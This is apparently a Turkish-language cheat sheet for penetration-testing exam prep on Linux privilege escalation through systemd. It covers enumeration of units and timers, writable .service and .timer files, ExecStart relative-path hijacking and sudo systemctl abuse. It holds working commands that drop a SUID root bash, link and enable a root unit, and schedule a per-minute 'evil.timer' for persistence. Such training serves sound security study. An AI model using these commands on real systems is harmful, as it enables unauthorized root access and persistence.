FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

systemd Privilege Escalation (yazilabilir unit/timer, sudo systemctl, relative path)

Yazilabilir .service / .timer unit dosyalari, sudo ile root calistirilabilen systemctl, ve PATH/relative-path zafiyetleri uzerinden root'a yetki yukseltme. systemd timer'lari ile cron'a alternatif kalici/zamanli root yurutme.

Bilgi: ÖN KOŞULLAR
  • Hedef uzerinde bir kullanici shell'i
  • systemd kullanan bir Linux dagitimi (cogu modern dagitim)
┌──

Komutlar

systemctl ✓ EXAM-SAFE user
systemctl list-units --type=service --all
Tum service unit'lerini ve durumlarini listele HackTricks — Linux Privilege Escalation (systemd)
systemctl ✓ EXAM-SAFE user
systemctl list-timers --all
Aktif/pasif tum systemd timer'larini ve sonraki tetikleme zamanlarini listele (cron'a alternatif zamanli job'lar) HackTricks — Linux Privilege Escalation (systemd timers)
find ✓ EXAM-SAFE user
find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ /run/systemd/ -name '*.service' -o -name '*.timer' 2>/dev/null | xargs ls -la 2>/dev/null
Tum unit dosyalarinin yollarini ve izinlerini topla (yazilabilir olanlari ara) HackTricks — Linux Privilege Escalation (systemd)
find ✓ EXAM-SAFE user
find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ -writable -type f 2>/dev/null
Mevcut kullanicinin yazabildigi unit dosyalarini dogrudan bul HackTricks — Linux Privilege Escalation (systemd writable units)
grep ✓ EXAM-SAFE user
grep -r 'ExecStart' /etc/systemd/system/ 2>/dev/null
unit'lerdeki ExecStart satirlarini incele — relative path / yazilabilir binary aramak icin HackTricks — Linux Privilege Escalation (systemd)
systemctl ✓ EXAM-SAFE user
systemctl cat <service>.service
Belirli bir service'in tam unit tanimini (ExecStart, User, ortam) goster HackTricks — Linux Privilege Escalation (systemd)
bash ✓ EXAM-SAFE user
printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"\n[Install]\nWantedBy=multi-user.target\n' > {{URL}}
Yazilabilir bir .service unit'ine SUID bash birakan ExecStart yaz ([UNVERIFIED] {{URL}} = yazilabilir unit yolu, orn. /etc/systemd/system/vuln.service) HackTricks — Linux Privilege Escalation (systemd writable .service)
systemctl ✓ EXAM-SAFE user
systemctl daemon-reload; systemctl restart <service>.service
Degisen unit'i yeniden yukle ve tetikle (restart/start uzerinde iznin varsa veya servis acilista calisiyorsa) HackTricks — Linux Privilege Escalation (systemd)
bash ✓ EXAM-SAFE user
/tmp/rootbash -p
unit tetiklendikten sonra olusan SUID bash ile root shell al HackTricks — Linux Privilege Escalation (systemd)
sudo ✓ EXAM-SAFE user
sudo systemctl
sudo -l ciktisi 'systemctl' iceriyorsa: pager'a duserek (!sh) komut calistir veya kotu unit yukle (GTFOBins systemctl) GTFOBins: systemctl
sudo ✓ EXAM-SAFE user
TF=$(mktemp).service; printf '[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target' > $TF; sudo systemctl link $TF; sudo systemctl enable --now $TF
sudo ile systemctl calistirilabiliyorsa, gecici bir unit'i link+enable ederek root komut yurut GTFOBins: systemctl
bash ✓ EXAM-SAFE user
printf '[Unit]\nDescription=evil\n[Timer]\nOnCalendar=*-*-* *:*:00\nUnit=evil.service\n[Install]\nWantedBy=timers.target\n' > /etc/systemd/system/evil.timer
Yazilabilir timer dizini varsa, eslesen evil.service'i periyodik root tetikleyen .timer olustur HackTricks — Linux Privilege Escalation (systemd timers)

Senaryo

systemd, modern Linux dagitimlarinda servisleri ve zamanli gorevleri yoneten init sistemidir. Servis tanimlari unit dosyalaridir (.service) ve cogu root ile calisir. Zamanli yurutme icin cron yerine .timer unit’leri kullanilir. Eger bir unit dosyasini yazabiliyor, sudo systemctl calistirabiliyor veya bir ExecStart relative path ile yazilabilir bir binary’i cagiriyorsa, kullanicidan root’a tirmaniriz.

Enumeration

  • systemctl list-units --type=service --all ile servisleri, systemctl list-timers --all ile zamanli job’lari listele. Timer’lar cron’a alternatiftir ve crontab -l ciktisina gelmez — gozden kacirma.
  • Unit dizinleri: /etc/systemd/system/ (en yuksek oncelik, admin tanimli), /lib/systemd/, /usr/lib/systemd/, /run/systemd/. Oncelik sirasi sömuru icin onemlidir: /etc/systemd/system/ ayni isimli unit’i override eder.
  • find ... -writable -type f ile yazilabilir unit dosyalarini dogrudan tespit et. Yanlis yapilandirma (grup yazma izni vb.) burada yakalanir.
  • Her unit’in ExecStart satirini grep ile incele — mutlak yol kullanmayan (relative) veya yazilabilir bir konumdaki binary’yi cagiran satirlar hedeftir.

Exploitation yollari

1) Yazilabilir .service unit

Bir unit dosyasini yazabiliyorsak, ExecStart satirina payload koyariz. En stabil yontem yine SUID bash birakmaktir. Degisikligin etkili olmasi icin systemctl daemon-reload gerekir; ardindan servis acilista calisiyorsa reboot/yeniden tetikleme ile, ya da restart iznimiz varsa elle tetikleriz. Tetikleme sonrasi /tmp/rootbash -p ile root olunur.

2) Yazilabilir binary / relative path (ExecStart)

Unit dosyasi yazilabilir olmasa bile, ExecStart yazilabilir bir binary’yi isaret ediyorsa o binary’i degistirmek yeter. Ayrica ExecStart= relative bir komut iceriyor ve servisin PATH’i bizim kontrol ettigimiz bir dizini iceriyorsa, o komut adiyla sahte binary koyarak PATH hijack yapariz (systemd relative path zafiyeti).

3) sudo systemctl

sudo -l ciktisi systemctl iceriyorsa iki yol var: (a) systemctl cikti bir pager (less/more) acarsa GTFOBins’teki gibi !sh ile pager’dan root shell’e firla; (b) gecici bir .service dosyasini sudo systemctl link + sudo systemctl enable --now ile yukleyip root komut yurut. Bu, sudo systemctl’in en guvenilir sömuru zinciridir.

4) Yazilabilir .timer (cron alternatifi)

Timer dizini yazilabilirse, periyodik tetiklenen bir .timer ve onun cagirdigi .service’i olusturup OnCalendar ile root komutlari zamanli calistiririz. Bu hem privesc hem persistence saglar.

Gotchas / Notlar

  • Unit degistirdikten sonra systemctl daemon-reload yapmazsan systemd eski tanimi kullanir.
  • ExecStart’ta birden fazla komut icin /bin/bash -c "..." sarmalayicisini kullan; cunku systemd ; ile zincir komutu dogrudan calistirmaz.
  • Type=oneshot SUID drop senaryolari icin uygundur; uzun calisan reverse shell icin Type=simple daha mantikli.
  • restart/start uzerinde iznin yoksa, servisin acilista ya da bir timer ile tetiklenmesini bekle; pspy ile tetikleme anini dogrulayabilirsin.
  • Temizlik: olusturdugun unit/timer dosyalarini ve /tmp/rootbash’i is bittikten sonra systemctl disable --now + rm ile kaldir.
  • sudo systemctl status <svc> bile pager actigi icin !sh ile sömurulebilir — sadece restart degil, status da tehlikelidir.
┌──

Kaynaklar

0/15 set